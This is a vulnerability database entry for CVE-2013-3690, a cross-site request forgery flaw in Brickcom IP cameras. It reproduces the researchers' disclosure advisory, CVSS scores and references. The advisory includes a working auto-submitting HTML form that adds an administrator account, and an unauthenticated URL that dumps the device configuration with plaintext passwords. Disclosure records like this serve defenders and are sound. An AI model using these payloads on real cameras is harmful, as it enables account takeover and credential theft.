Sign-up

ID

VAR-201310-0208


CVE

CVE-2013-3690


TITLE

plural Brickcom Product cross-site request forgery vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2013-004457

DESCRIPTION

Cross-site request forgery (CSRF) vulnerability in cgi-bin/users.cgi in Brickcom FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E, and possibly other camera models with firmware 3.1.0.8 and earlier, allows remote attackers to hijack the authentication of administrators for requests that add users. Brickcom IP Cameras are IP camera devices. A cross-site request forgery vulnerability exists in the Brickcom IP Cameras WEB interface. Allows an attacker to build a malicious URI, entice a user to resolve, and can be used to boost user permissions. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Brickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerable; other versions may also be affected. Brickcom FB-100Ap and so on are network camera products of Brickcom. The following models are affected: FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E. ============================================================================ BRICKCOM ==================================================================== ============================================================================ 1.Advisory Information Title: Brickcom 100ap Series Vulnerabilities Date Published: 12/06/2013 Date of last updated: 12/06/2013 2.Vulnerability Description Multiples vulnerabilities have been found in this device. -CVE-2013-3689. Authentication Bypass Issues(CWE-592) and Clear Text Storage of Sensitive Information(CWE-312) -CVE-2013-3690. Cross Site Request Forgery(CWE-352), Permissions, Privileges, and Access Control(CWE-264) and Execution with Unnecessary Privileges(CWE-250) 3.Affected Products The following products are affected by these vulnerabilities: FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E It\x92s possible others models are affected but they were not checked. -CVE-2013-3689. We have detected the following vulnerable firmwares: firmwareVersion=v3.0.6.7, v3.0.6.12, v3.0.6.16C1 In the next firmwares, you need to be log-in as administrator to download this file, but the information is in plain text yet: firmwareVersion=v3.1.0.8,v3.1.0.4 -CVE-2013-3690. All firmware checked. 4.PoC 4.1.Authentication Bypass & Clear Text Storage of Sensitive Information CVE-2013-3689, These allows you to download the all the configuration device file writing the next URL (all data shown will be in plain text). It\x92s not necessary any authentication. _____________________________________________________________________________ http://xx.xx.xx.xx/configfile.dump?action=get _____________________________________________________________________________ The most interesting parameters could be: UserSetSetting.userList.users[n\xba].password= *** UserSetSetting.userList.users[n\xba].name= *** 4.2.Cross Site Request Forgerty (CSRF) + Privilege Escalation CVE-2013-3690, CSRF is possible via POST method. Also is possible a privilege escalation from a viewer user to an administrator user. A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. The following request can exploit this vulnerability _____________________________________________________________________________ <html> <body> <form name="gobap" action="http://xx.xx.xx.xx/cgi-bin/users.cgi" method="POST"> <input type="hidden" name="action" value="add"> <input type="hidden" name="index" value="0"> <input type="hidden" name="username" value="test2"> <input type="hidden" name="password" value="test2"> <input type="hidden" name="privilege" value="1"> <script>document.gobap.submit();</script> </form> </body> </html> _____________________________________________________________________________ 5.Credits -CVE-2013-3689 was discovered by Eliezer Varad\xe9 Lopez, Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo. -CVE-2013-3690 was discovered by Jon\xe1s Ropero Castillo. 6.Report Timeline -2013-05-31: Students team notifies the Brickcom Customer Support of the vulnerabilities. -2013-05-31: Brickcom answers saying this in accordance with some of the vulnerabilities, but there are some that they think is not correct. (CVE-2013-3689, Authentication bypass and plain text information: After talk with vendor, it\x92s looks that after firmware 3.1.x.x, this bug is fixed but still the information is shown in plain text, so they should fix this second one) -2013-06-03: Students check and communicate Brickcom the detail products and firmwares affected by vulnerabilities. -2013-06-04: The vendor is agree with everything stated and reports that will fix it as soon as possible

Trust: 2.61

sources: NVD: CVE-2013-3690 // JVNDB: JVNDB-2013-004457 // CNVD: CNVD-2013-07707 // BID: 60526 // VULHUB: VHN-63692 // PACKETSTORM: 122003

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-07707

AFFECTED PRODUCTS

vendor:brickommodel:100ap devicescope:eqversion:3.1.0.8

Trust: 1.6

vendor:brickcommodel:osd-040escope: - version: -

Trust: 1.4

vendor:brickcommodel:ob-100aescope: - version: -

Trust: 1.4

vendor:brickcommodel:wfb-100apscope: - version: -

Trust: 1.4

vendor:brickcommodel:md-100apscope: - version: -

Trust: 1.4

vendor:brickcommodel:wcb-100apscope: - version: -

Trust: 1.4

vendor:brickcommodel:fb-100apscope: - version: -

Trust: 1.4

vendor:brickommodel:wcb-100apscope:eqversion: -

Trust: 1.0

vendor:brickommodel:md-100apscope:eqversion: -

Trust: 1.0

vendor:brickommodel:fb-100apscope:eqversion: -

Trust: 1.0

vendor:brickommodel:osd-040escope:eqversion: -

Trust: 1.0

vendor:brickommodel:ob-100aescope:eqversion: -

Trust: 1.0

vendor:brickommodel:wfb-100apscope:eqversion: -

Trust: 1.0

vendor:brickcommodel:100-ap seriesscope:lteversion:3.1.0.8

Trust: 0.8

vendor:brickommodel:brickcomscope:eqversion:3.0.6.7

Trust: 0.3

vendor:brickommodel:brickcom 3.0.6.16c1scope: - version: -

Trust: 0.3

vendor:brickommodel:brickcomscope:eqversion:3.0.6.12

Trust: 0.3

sources: CNVD: CNVD-2013-07707 // BID: 60526 // JVNDB: JVNDB-2013-004457 // CNNVD: CNNVD-201306-252 // NVD: CVE-2013-3690

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-3690
value: MEDIUM

Trust: 1.0

NVD: CVE-2013-3690
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2013-07707
value: LOW

Trust: 0.6

CNNVD: CNNVD-201306-252
value: MEDIUM

Trust: 0.6

VULHUB: VHN-63692
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2013-3690
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2013-07707
severity: LOW
baseScore: 3.5
vectorString: AV:N/AC:M/AU:S/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 6.8
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-63692
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2013-07707 // VULHUB: VHN-63692 // JVNDB: JVNDB-2013-004457 // CNNVD: CNNVD-201306-252 // NVD: CVE-2013-3690

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-63692 // JVNDB: JVNDB-2013-004457 // NVD: CVE-2013-3690

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201306-252

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201306-252

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2013-004457

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-63692

PATCH
title:Top Pageurl:http://www.brickcom.com/
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2013-004457

EXTERNAL IDS
db:NVDid:CVE-2013-3690
Trust: 3.5
db:BIDid:60526
Trust: 1.6
db:JVNDBid:JVNDB-2013-004457
Trust: 0.8
db:CNNVDid:CNNVD-201306-252
Trust: 0.7
db:CNVDid:CNVD-2013-07707
Trust: 0.6
db:FULLDISCid:20130612 SECURITY ANALYSIS OF IP VIDEO SURVEILLANCE CAMERAS
Trust: 0.6
db:EXPLOIT-DBid:38582
Trust: 0.1
db:VULHUBid:VHN-63692
Trust: 0.1
db:PACKETSTORMid:122003
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2013-07707 // 
            
            
            
            VULHUB: VHN-63692 // 
            
            
            
            BID: 60526 // 
            
            
            
            JVNDB: JVNDB-2013-004457 // 
            
            
            
            PACKETSTORM: 122003 // 
            
            
            
            CNNVD: CNNVD-201306-252 // 
            
            
            
            NVD: CVE-2013-3690

REFERENCES
url:http://seclists.org/fulldisclosure/2013/jun/84
Trust: 3.4
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-3690
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-3690
Trust: 0.8
url:http://www.securityfocus.com/bid/60526
Trust: 0.6
url:http://www.brickcom.com/index.php
Trust: 0.3
url:http://xx.xx.xx.xx/configfile.dump?action=get
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-3690
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-3689
Trust: 0.1
url:http://xx.xx.xx.xx/cgi-bin/users.cgi"
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2013-07707 // 
            
            
            
            VULHUB: VHN-63692 // 
            
            
            
            BID: 60526 // 
            
            
            
            JVNDB: JVNDB-2013-004457 // 
            
            
            
            PACKETSTORM: 122003 // 
            
            
            
            CNNVD: CNNVD-201306-252 // 
            
            
            
            NVD: CVE-2013-3690

CREDITS
JonAis Ropero Castillo.
Trust: 0.6
sources:
            
            
            CNNVD: CNNVD-201306-252

SOURCES
db:CNVDid:CNVD-2013-07707
db:VULHUBid:VHN-63692
db:BIDid:60526
db:JVNDBid:JVNDB-2013-004457
db:PACKETSTORMid:122003
db:CNNVDid:CNNVD-201306-252
db:NVDid:CVE-2013-3690

LAST UPDATE DATE
2024-11-23T20:45:54.692000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2013-07707date:2013-06-20T00:00:00
db:VULHUBid:VHN-63692date:2013-10-02T00:00:00
db:BIDid:60526date:2013-06-12T00:00:00
db:JVNDBid:JVNDB-2013-004457date:2013-10-04T00:00:00
db:CNNVDid:CNNVD-201306-252date:2013-10-16T00:00:00
db:NVDid:CVE-2013-3690date:2024-11-21T01:54:08.070

SOURCES RELEASE DATE
db:CNVDid:CNVD-2013-07707date:2013-06-20T00:00:00
db:VULHUBid:VHN-63692date:2013-10-01T00:00:00
db:BIDid:60526date:2013-06-12T00:00:00
db:JVNDBid:JVNDB-2013-004457date:2013-10-04T00:00:00
db:PACKETSTORMid:122003date:2013-06-13T06:08:04
db:CNNVDid:CNNVD-201306-252date:2013-06-20T00:00:00
db:NVDid:CVE-2013-3690date:2013-10-01T19:55:09.397